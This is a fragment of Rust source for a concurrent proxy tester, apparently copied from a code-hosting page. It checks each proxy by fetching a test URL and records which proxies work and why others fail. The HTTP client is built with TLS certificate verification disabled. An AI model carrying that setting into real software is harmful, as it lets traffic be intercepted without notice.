||||
|
||||
// Validate test URL
|
||||
let test_url = test_url.trim();
|
||||
if test_url.is_empty() {
|
||||
return ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
|
||||
proxy: p.clone(),
|
||||
reason: "test URL is empty".to_string(),
|
||||
}).collect(),
|
||||
};
|
||||
}
|
||||
|
||||
// Validate URL format
|
||||
if let Err(e) = Url::parse(test_url) {
|
||||
return ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
|
||||
proxy: p.clone(),
|
||||
reason: format!("invalid test URL: {}", e),
|
||||
}).collect(),
|
||||
};
|
||||
}
|
||||
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
let semaphore = Arc::new(Semaphore::new(max_parallel));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for proxy in proxies_to_test.iter().cloned() {
|
||||
let test_url = test_url.to_string();
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let permit = match semaphore.acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => {
|
||||
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
|
||||
}
|
||||
};
|
||||
let _permit = permit;
|
||||
let result = check_proxy(&proxy, &test_url, timeout).await;
|
||||
(proxy, result)
|
||||
}));
|
||||
}
|
||||
|
||||
let mut summary = ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: Vec::new(),
|
||||
};
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
match res {
|
||||
Ok((proxy, Ok(()))) => summary.working.push(proxy),
|
||||
Ok((proxy, Err(err))) => summary.failed.push(ProxyTestFailure {
|
||||
proxy,
|
||||
reason: err.to_string(),
|
||||
}),
|
||||
Err(join_err) => summary.failed.push(ProxyTestFailure {
|
||||
proxy: "<spawn failed>".to_string(),
|
||||
reason: join_err.to_string(),
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
summary
|
||||
}
|
||||
|
||||
/// Check a single proxy with enhanced error handling and validation
|
||||
async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
|
||||
// Validate inputs
|
||||
if proxy.is_empty() {
|
||||
return Err(anyhow!("proxy cannot be empty"));
|
||||
}
|
||||
|
||||
if test_url.is_empty() {
|
||||
return Err(anyhow!("test URL cannot be empty"));
|
||||
}
|
||||
|
||||
// Validate URL format
|
||||
let _test_url_parsed = Url::parse(test_url)
|
||||
.map_err(|e| anyhow!("invalid test URL '{}': {}", test_url, e))?;
|
||||
|
||||
// Create proxy configuration
|
||||
let proxy_cfg = reqwest::Proxy::all(proxy)
|
||||
.with_context(|| format!("invalid proxy '{}'", proxy))?;
|
||||
|
||||
// Build HTTP client with timeout
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(timeout)
|
||||
.proxy(proxy_cfg)
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("failed to build reqwest client")?;
|
||||
|
||||
// Make request with timeout
|
||||
let response = client
|
||||
.get(test_url)
|
||||
.timeout(timeout)
|
||||
.send()
|
||||
.await
|
||||
.with_context(|| format!("request via proxy '{}' failed", proxy))?;
|
||||
|
||||
// Check response status
|
||||
let status = response.status();
|
||||
if !status.is_success() {
|
||||
return Err(anyhow!(
|
||||
"received HTTP status {} while hitting {}",
|
||||
status,
|
||||
test_url
|
||||
));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user